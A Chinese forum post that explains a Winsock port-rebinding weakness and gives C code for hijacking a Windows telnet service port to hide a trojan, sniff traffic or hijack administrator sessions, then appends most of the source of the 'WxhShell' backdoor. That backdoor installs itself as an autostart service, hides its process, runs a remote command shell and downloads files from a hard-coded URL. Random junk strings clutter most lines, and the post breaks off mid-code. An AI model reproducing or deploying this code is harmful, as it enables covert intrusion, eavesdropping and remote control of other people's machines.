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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )LBbA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G/KTF2wl7  
~BXy)IB6  
  saddr.sin_family = AF_INET; ?.nD!S@  
$^#q0Yx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uU+?:C  
!B#tJD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UXHtmi|_:  
P;ZVv{mT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vz y )jf  
3tmS/ tQp  
  这意味着什么?意味着可以进行如下的攻击: GbC JGqOR  
+# @2,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U(<~("ocN  
xp"F)6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H.[(`wi!I  
pJQ_G`E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ip*UujmNyR  
cs]3Rp^g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R ~#&xfMd.  
" _TAo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5N|hsfkx  
NRe=O*O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 36 ]?4, .  
z_Pq5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qqu ]r  
LO)QEUG  
  #include zR}vR9Ls  
  #include tz%H1 `  
  #include z*N%kcw"  
  #include    Z$K[e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $rQi$w/  
  int main() B)qcu'>iy  
  { Ga;Lm?6-  
  WORD wVersionRequested; $ Vsf? ID  
  DWORD ret; qwd T= H  
  WSADATA wsaData; Dh9C9<Ta:  
  BOOL val; s>ZlW:jY  
  SOCKADDR_IN saddr; XeAH.i<  
  SOCKADDR_IN scaddr; rX|{nb  
  int err; W!a'KI'  
  SOCKET s; FOuPj+}F  
  SOCKET sc; B)&z% +  
  int caddsize; 0-Wv$o[  
  HANDLE mt; v&"sTcS|  
  DWORD tid;   tSunO-\y  
  wVersionRequested = MAKEWORD( 2, 2 ); V:1_k"zQ  
  err = WSAStartup( wVersionRequested, &wsaData ); :2;c@ uj  
  if ( err != 0 ) { -L2% ,.E>4  
  printf("error!WSAStartup failed!\n"); zY&/lWW._  
  return -1; I -V=Z:  
  } F'njtrO3  
  saddr.sin_family = AF_INET; sfCU"O2G  
   ^<Sy{KY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t\-;n:p-  
.[vYT.LE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EB5 ^eNdL  
  saddr.sin_port = htons(23); x<) T,c5Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ODPWFdRar  
  { G5$YXNV  
  printf("error!socket failed!\n"); 5g phza  
  return -1; PtOYlZTe?  
  } 9Ljd or  
  val = TRUE; ~*RBMHs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?#u_x4==e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DA/ \[w?J  
  { Bvz& p)(  
  printf("error!setsockopt failed!\n"); =UZm4=T  
  return -1; \Jr7Hy1;  
  } Ng\]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U5H5QW+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VOrBNu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }9Awv#+  
j$khGR!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f,8PPJ:,  
  { c.;<+dYsm*  
  ret=GetLastError(); ob7hNo#  
  printf("error!bind failed!\n"); /SJI ~f+$  
  return -1; ;)!);q+  
  } 4,7W*mr3(  
  listen(s,2); `FIS2sl/  
  while(1) <f@ A\  
  { -K iI&Q  
  caddsize = sizeof(scaddr); O[HBw~  
  //接受连接请求 7u[$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lBO x B/`  
  if(sc!=INVALID_SOCKET) ?xzDz  
  { NE-c[|rq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 42,K8  
  if(mt==NULL) cu"ge]},  
  { Wvwjj~HP2}  
  printf("Thread Creat Failed!\n"); jxDA+7  
  break; 3 >G"&T{  
  }  =E:a\r  
  } wL" 2Cm  
  CloseHandle(mt); >Gr,!yP  
  } RVa{%   
  closesocket(s); EdS7m,d  
  WSACleanup();  H r;\}  
  return 0; ~{npG  
  }   $R/@%U)-o  
  DWORD WINAPI ClientThread(LPVOID lpParam) WD?COUEox  
  { 4Pr@<S"U  
  SOCKET ss = (SOCKET)lpParam; -y)g}D%  
  SOCKET sc; OG2&=~hOz-  
  unsigned char buf[4096]; wXUgxa  
  SOCKADDR_IN saddr; LKu ,H  
  long num; #:} mi;{  
  DWORD val; (Z at|R.F  
  DWORD ret; ;%$wA5"2M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G'6f6i|<I@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^1z)\p1  
  saddr.sin_family = AF_INET; =-n7/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8POLp9>X  
  saddr.sin_port = htons(23); !v]~ut !p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -^= JKd &p  
  { $3{I'r]  
  printf("error!socket failed!\n"); ,IQ%7*f;O_  
  return -1; txe mu *  
  } +cx(Q(HD\  
  val = 100; 2)jf~!o)Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8jfEvwY  
  { "AHuq%j  
  ret = GetLastError(); 'Rw*WK  
  return -1; ? -`8w _3  
  } y_f^ dIK*=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7N[Cs$_]  
  { u#v];6N  
  ret = GetLastError(); <=PYu:]h  
  return -1; YC d  
  } !_j6\r=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {A8w~3F  
  { zZ{(7K fz  
  printf("error!socket connect failed!\n"); _:?b -44  
  closesocket(sc); jMQ7^(9-  
  closesocket(ss); #%SF2PB;  
  return -1; $O^U"  
  } 6ragRS/'x  
  while(1) G0pqiU6  
  { A=pyaU`aE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TvwkeOS#}7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qM:*!Aq 0g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A,! YXl[  
  num = recv(ss,buf,4096,0); bDM;7fFp$  
  if(num>0) :V:siIDn  
  send(sc,buf,num,0); 5D`!Tu3  
  else if(num==0) R(<_p"9(  
  break; =fy'w3m  
  num = recv(sc,buf,4096,0); d/xGo[?$  
  if(num>0) !eGUiE=  
  send(ss,buf,num,0); Ihg1%.^V\  
  else if(num==0) y_N h5  
  break; .Sjg  
  } EMMp4KKOx+  
  closesocket(ss); K.::P84m;  
  closesocket(sc); 3B[u2o>  
  return 0 ; ;$rh&ET  
  } %3 VToj@`>  
1agI/R  
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========================================================== SoL"M[O  
{xJ<)^fD8  
下边附上一个代码,,WXhSHELL uPBtR  
=U+_;;F=  
========================================================== k2ZMDU  
2, r{zJ8  
#include "stdafx.h" vy1N, 8a  
R#Hz%/:|A  
#include <stdio.h> TWT h!  
#include <string.h> P_%kYcX'  
#include <windows.h> rZ^VKO`~I1  
#include <winsock2.h> 5{O9<~,  
#include <winsvc.h> %Y<3v \`_  
#include <urlmon.h> "BD$-]  
lehuJgz'OO  
#pragma comment (lib, "Ws2_32.lib") $BWA= 2$  
#pragma comment (lib, "urlmon.lib") fd*<m8  
;0]s:0WD0P  
#define MAX_USER   100 // 最大客户端连接数 I vD M2q8f  
#define BUF_SOCK   200 // sock buffer ]ppws3*Pa  
#define KEY_BUFF   255 // 输入 buffer K{[N.dX(  
Q804_F F#  
#define REBOOT     0   // 重启 !:9s>0';N  
#define SHUTDOWN   1   // 关机 $%0A#&DVh  
<+)B8I^  
#define DEF_PORT   5000 // 监听端口 J#*R]LU|  
>J_%'%%f  
#define REG_LEN     16   // 注册表键长度 Gjo&~*;  
#define SVC_LEN     80   // NT服务名长度 SbN.z  
[Cf{2WB:7  
// 从dll定义API >19j_[n@VC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V( SRw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SH#!Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]8ob`F`m,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vC ISd   
*d$r`.9j  
// wxhshell配置信息 xm bFJUMH  
struct WSCFG { Xe>   
  int ws_port;         // 监听端口 EK<ly"S.  
  char ws_passstr[REG_LEN]; // 口令 NGOyd1$7N  
  int ws_autoins;       // 安装标记, 1=yes 0=no \K(QE ~y'W  
  char ws_regname[REG_LEN]; // 注册表键名 |FxTP&8~  
  char ws_svcname[REG_LEN]; // 服务名 bd@1j`i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HC/?o0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s.9_/cFWB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rWD*DmY@"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^)0b= (.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +a}>cAj*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sx}61?  
cy!;;bB  
}; FG6mh,C!  
ipn 0WQG  
// default Wxhshell configuration #x[3@zP.  
struct WSCFG wscfg={DEF_PORT, h$rk]UM/Q  
    "xuhuanlingzhe", w@&(=C  
    1, AG(Gtvw  
    "Wxhshell", i+eDBg6  
    "Wxhshell", 1h#UM6  
            "WxhShell Service", MgUjB~)Y  
    "Wrsky Windows CmdShell Service", "?#O*x  
    "Please Input Your Password: ", Q9NKQuSu  
  1, -VhxnhS  
  "http://www.wrsky.com/wxhshell.exe", Y<9]7R(\;  
  "Wxhshell.exe" UZb!tO2  
    }; d0 qc%.s  
^A' Bghy  
// 消息定义模块 YB3?Ftgw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <A@qN95m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .YxcXe3#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  a5@XD_b  
char *msg_ws_ext="\n\rExit."; U((mOm6  
char *msg_ws_end="\n\rQuit."; I2^ Eo5'  
char *msg_ws_boot="\n\rReboot..."; `}|$eF&  
char *msg_ws_poff="\n\rShutdown..."; }D7} %P]  
char *msg_ws_down="\n\rSave to "; -VO* P  
9 `z^'k&  
char *msg_ws_err="\n\rErr!"; }N%uQP#I  
char *msg_ws_ok="\n\rOK!"; j]bNOC2.L  
;Br #e1~  
char ExeFile[MAX_PATH]; "E}38  
int nUser = 0; wTkcR^  
HANDLE handles[MAX_USER]; HA0Rv#p  
int OsIsNt; *zTEK:+_  
SWPb=[WEz  
SERVICE_STATUS       serviceStatus; VAet!H+]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yy#4DYht  
FCA]zR1  
// 函数声明 2}jC%jR2  
int Install(void); xI(Y}>  
int Uninstall(void); Yo;Mexo!  
int DownloadFile(char *sURL, SOCKET wsh); l~c# X3E  
int Boot(int flag); pIP ^/H  
void HideProc(void); N@G~+GCxL  
int GetOsVer(void); (7J (.EG2e  
int Wxhshell(SOCKET wsl); G*\U'w4w|*  
void TalkWithClient(void *cs); /j:fc?yv  
int CmdShell(SOCKET sock); wC~LZSTt  
int StartFromService(void); ]0@ 06G(y  
int StartWxhshell(LPSTR lpCmdLine); KG9FR*"  
j=5hW.fI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r"\g6<RP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XVWVY}  
jz"-E  
// 数据结构和表定义 YMD&U   
SERVICE_TABLE_ENTRY DispatchTable[] = atmTI`i  
{ To@77.'  
{wscfg.ws_svcname, NTServiceMain}, 6BIr{SY  
{NULL, NULL} }hA h'*(  
}; fNaboNj[  
CWW|?  
// 自我安装 b5.L== >  
int Install(void) iDrQ4>  
{ sTChbks  
  char svExeFile[MAX_PATH]; +#MQ8d  
  HKEY key; fZF.eRP '  
  strcpy(svExeFile,ExeFile); `(Ij@8 4  
7zEpuw  
// 如果是win9x系统,修改注册表设为自启动 NQqq\h  
if(!OsIsNt) { 0FG|s#Ig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fooa~C"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'ghwc:Og|%  
  RegCloseKey(key); y~/i{a;1y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [y(AdZ0*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s ad[(|  
  RegCloseKey(key); -P[bA0N,  
  return 0; "pW@[2Dkx/  
    } TSHH=`cx  
  } ->Bx>Y  
} !p$k<?WXc  
else { F|&=\Q  
(X(c.Jj  
// 如果是NT以上系统,安装为系统服务 <Z^qBM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +U= !svE  
if (schSCManager!=0) RuuXDuu:VL  
{ Zg~6  
  SC_HANDLE schService = CreateService #;~dA  
  ( &RbT&  
  schSCManager, 'Bb@K[=s  
  wscfg.ws_svcname, /woC{J)4p  
  wscfg.ws_svcdisp, <N}*|z7=b  
  SERVICE_ALL_ACCESS, ![CF >:e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ! tPHT  
  SERVICE_AUTO_START, o dTg.m  
  SERVICE_ERROR_NORMAL, Y:'#jY*V  
  svExeFile, #7yy7Y5  
  NULL, AagWswv{Bf  
  NULL, 8j<+ ' R  
  NULL, 9o|#R&0  
  NULL, QQIU5  
  NULL 7<p? E7  
  ); %2t#>}If!  
  if (schService!=0) 2i_X{!0}  
  { vhj^R5=  
  CloseServiceHandle(schService); F\( 7B#  
  CloseServiceHandle(schSCManager); ;1[Lwnm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D>).^>|q  
  strcat(svExeFile,wscfg.ws_svcname); l<YCX[%E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZFO*D79:K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;)gNe:Q  
  RegCloseKey(key); -y5Z c?e  
  return 0; 2=p"%YSn  
    } B@@j-  
  } Th(F^W9  
  CloseServiceHandle(schSCManager); Eh*t;J=O  
} Yvbk[Rb  
} [5O`  
k>;a5'S  
return 1; z3>oUq{  
} \~ql_X;3  
h<ULp &g  
// 自我卸载 WA&&*ae5`  
int Uninstall(void) \NI0rL  
{ 8`S6BkfC|  
  HKEY key; PS${B   
[osm\w49  
if(!OsIsNt) { '-k~qQk)6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?B`Yq\L)  
  RegDeleteValue(key,wscfg.ws_regname); *2tG07kI  
  RegCloseKey(key); Gaxa~?ek  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a{%]X(';  
  RegDeleteValue(key,wscfg.ws_regname); Y^P'slY{%  
  RegCloseKey(key); b/g"ws_  
  return 0; l5bd);L tq  
  } ^vH3 -A;*  
} ? (f44Zgm  
} b$Ch2Qz0q  
else { 8NS1*\z  
dx It.h   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2E X Rq  
if (schSCManager!=0) WCPl}7>  
{ aA/.EAc7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SXI3y  
  if (schService!=0) LUjev\Re  
  { L_4Zx sIv  
  if(DeleteService(schService)!=0) { m&X6a C'[  
  CloseServiceHandle(schService); G B &+EZ  
  CloseServiceHandle(schSCManager); "t\gkJyK  
  return 0; rt7]~W-  
  } d3|oKP6  
  CloseServiceHandle(schService); :$"L;"  
  } j/9Uf|z-_  
  CloseServiceHandle(schSCManager); SWGD(]}uz  
} %: .{?FB_  
} Oor&1  
=z$XqT.'  
return 1; Qy+&N*k>  
} zz+p6`   
;Pi-H,1b  
// 从指定url下载文件 30Z RKrW"~  
int DownloadFile(char *sURL, SOCKET wsh) 8Qg,UX  
{ )|@ H#kv?  
  HRESULT hr; [# '38  
char seps[]= "/"; 0u'qu2mV  
char *token; P95A _(T=[  
char *file; :W\xZ  
char myURL[MAX_PATH]; +#c3Y ;JP  
char myFILE[MAX_PATH]; *Tt*\ O  
~<, QxFG5  
strcpy(myURL,sURL); !7O!)WJ  
  token=strtok(myURL,seps); """gV)Y  
  while(token!=NULL) Q< q&a8~  
  { "x*5g*k  
    file=token; 5z>kz/uxW  
  token=strtok(NULL,seps); k'K&GF1B  
  } d* 6 lJT  
lbtVQW0V;o  
GetCurrentDirectory(MAX_PATH,myFILE); kr C4O2Fkj  
strcat(myFILE, "\\"); ?5<Q+ G0r  
strcat(myFILE, file); NZyGC Vh@  
  send(wsh,myFILE,strlen(myFILE),0); <+QXGz1  
send(wsh,"...",3,0); T&]J3TFJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i: ZL0nH-  
  if(hr==S_OK) jB17]OCN  
return 0; H -sJt:  
else 1.Ximom  
return 1; 8SGFzb! h  
WYb\vm =r  
} rK%A=Q  
'$3]U5KOwK  
// 系统电源模块 exqFwmhh  
int Boot(int flag) WmRx_d_  
{ eL-9fld /n  
  HANDLE hToken; 65ctxxWv1  
  TOKEN_PRIVILEGES tkp; 9aR-kcvJIJ  
9$z|kwU  
  if(OsIsNt) { X&[S.$_U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $`Z-,AJc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {1Z`'.FU  
    tkp.PrivilegeCount = 1; YFVNkB O%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^0/FZ)V8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bw31h3yB  
if(flag==REBOOT) { rSUarfZ<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y?(kE` R  
  return 0; K{}U[@_tS  
} hy"O_Le  
else { :[1^IH(sb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gyak?.@R  
  return 0; Vs-])Q?7J  
} w~NQAHAvo  
  } =""z!%j  
  else { w(QU'4~  
if(flag==REBOOT) { (RR:{4I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Awo H d7M  
  return 0; (6R^/*-o  
} UJXRL   
else { p9;Oe,Il  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }dl[~iKW  
  return 0; ?mJNzHrq;  
} cuO)cj]@e  
} ,&$+ {3  
WB2An7i@"{  
return 1; IcM99'P(  
} 0,a;N%K-  
0^41dfdE  
// win9x进程隐藏模块 G[}$s7@k  
void HideProc(void) +rw?k/  
{ /Q4TQ\:  
(j^Qa~{mG4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =/Ob kVYf  
  if ( hKernel != NULL ) `.dX@<  
  { DD3.el}6a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U[EM<5@I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N02X*NC  
    FreeLibrary(hKernel); 0j^QY6  
  } :Yi1#  
]d$:R`;  
return; U ~j:b{  
} 4+ BWHV  
R36BvW0X  
// 获取操作系统版本 lWr{v\L'  
int GetOsVer(void) $TON`+lB  
{ [Bn C_^[W  
  OSVERSIONINFO winfo; UQ;ymTqdc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (!72Eaw:]  
  GetVersionEx(&winfo); .E'Tfa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CdCo+U5z{  
  return 1; B{UL(6\B  
  else sb Wn1 T U  
  return 0; >wz& {9ni  
} G%{J.J41F  
 |,*N>e  
// 客户端句柄模块 :+%"kgJNL  
int Wxhshell(SOCKET wsl) 4K_rL{s0U  
{ AJ_''%$I3:  
  SOCKET wsh;  F?UI8  
  struct sockaddr_in client; C&\MDOjx  
  DWORD myID; 3*< O-Jr  
#k %$A}9  
  while(nUser<MAX_USER) 8$k`bZ  
{ J1@X6U!{  
  int nSize=sizeof(client); .TcsXYL.`,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  pFfd6P  
  if(wsh==INVALID_SOCKET) return 1; kvWP[! j?)  
k3F* D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~*OQRl6F  
if(handles[nUser]==0) \J*~AT~5q  
  closesocket(wsh); 4e6x1`Y{xB  
else td*1  
  nUser++; T r|B:)X  
  } ~HWH2g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q]%eLfC(  
9 7 Oi}   
  return 0; PtH>I,/  
} Gk<M@d^hQ  
h^yLmRL  
// 关闭 socket ;VhilWaF-  
void CloseIt(SOCKET wsh) h(q,-')l_  
{ 5Lmhip  
closesocket(wsh); pKeK6K\8  
nUser--;  -&N^S?  
ExitThread(0); <gvuCydsh  
} `w&Y[8+E  
uw!w}1Y]}2  
// 客户端请求句柄 J7Z`wjX1  
void TalkWithClient(void *cs) 'R'P^  
{ Yp*Dd}n`  
|;~kHc$W  
  SOCKET wsh=(SOCKET)cs; <SK%W=  
  char pwd[SVC_LEN]; O*;$))<wX  
  char cmd[KEY_BUFF]; mGss9eZa  
char chr[1]; ]!@z3Hv3  
int i,j; 1r!o,0!d-'  
PxuE(n V[  
  while (nUser < MAX_USER) { o!nw/7|  
vJybhdvP  
if(wscfg.ws_passstr) { I-?PTr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0\qLuF[)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O!uZykdX4!  
  //ZeroMemory(pwd,KEY_BUFF); $KSdNFtM)A  
      i=0; <+7]EwVcn^  
  while(i<SVC_LEN) { BHmmvbM#Qm  
qDG{hvl[1r  
  // 设置超时 y {&"g  
  fd_set FdRead; M)m(  
  struct timeval TimeOut; ;iol 2  
  FD_ZERO(&FdRead); GSHJ?}U,  
  FD_SET(wsh,&FdRead); %pikt7,Z~  
  TimeOut.tv_sec=8;  "! -  
  TimeOut.tv_usec=0; 2O|jVGap5x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h/'b(9fS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CcGE4BB  
caG5S#8-"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +c7e[hz  
  pwd=chr[0]; \`ya08DP(  
  if(chr[0]==0xd || chr[0]==0xa) { l(irNKutgo  
  pwd=0; o|Q:am'H  
  break; SRU }-  
  } N>zpx U {  
  i++; Eo\pNz#)  
    } )$EmKOTt:  
pr;n~E 'kq  
  // 如果是非法用户,关闭 socket r6JQRSakR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,@\$PyJ  
} bD2):U*Fzo  
&ikPa,A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e8Ul^]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U z*7J  
MNuBZnO  
while(1) { `_MRf[Z}  
3I"xuKxc  
  ZeroMemory(cmd,KEY_BUFF); M0jC:*D`"  
=d+~l  
      // 自动支持客户端 telnet标准   )9pRT dT  
  j=0; oouhP1py,  
  while(j<KEY_BUFF) { +69[06F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `G@(Z:]f,t  
  cmd[j]=chr[0]; QPD[uJ(I  
  if(chr[0]==0xa || chr[0]==0xd) { `6No6.\J  
  cmd[j]=0; 8QJ^@|7  
  break; ;hf{B7  
  } !7rk>YrY  
  j++; ES4[@RX  
    } *#n#J[  
Z2t'?N|_  
  // 下载文件 5WlBe c@  
  if(strstr(cmd,"http://")) { vtByCu5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &c AFKYt  
  if(DownloadFile(cmd,wsh)) EDDld6O,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;bYpMcH  
  else -XJXl}M.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a< E\9DL  
  } KbXENz&C  
  else { b41f7t=  
x(]Um!  
    switch(cmd[0]) { 5~R1KjjvA  
  GJr1[  
  // 帮助 ,J@A5/B,AA  
  case '?': { \kR:GZ`{UV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w/1Os!p  
    break; B[$L)y'-;  
  } uo TTHj7cq  
  // 安装 -$2B!#]3  
  case 'i': { I)(@'^)  
    if(Install()) )yTBtYw3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GG=R!+p2  
    else X/8TRiTFv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .UGbo.e  
    break; -f-@[;D  
    } TOH+JL8L  
  // 卸载 srGF=1_  
  case 'r': { (nDen5Q|  
    if(Uninstall()) CMiE$yC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %a=^T?8  
    else it.'.aK4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *SmR|Qy  
    break; XU*4MU^'  
    } eZ G#op  
  // 显示 wxhshell 所在路径 #dj,=^1_14  
  case 'p': { %wQE lkB  
    char svExeFile[MAX_PATH]; +a'["Gjq;  
    strcpy(svExeFile,"\n\r"); my}l?S[2d@  
      strcat(svExeFile,ExeFile); 7Eo;TNbb  
        send(wsh,svExeFile,strlen(svExeFile),0); PR2;+i3  
    break; lD-HQd  
    } F&_b[xso7  
  // 重启 '89nyx&W  
  case 'b': { TN=!;SvQU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eJy}W /  
    if(Boot(REBOOT)) PNB E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ZAynZF|#  
    else { oXgi#(y  
    closesocket(wsh); }8Yu"P${Y  
    ExitThread(0); IJk<1T7:(W  
    } DyCnL@  
    break; :>*0./hG  
    } {%BPP{OFk  
  // 关机 c\.7Z=D  
  case 'd': { <i ";5+  
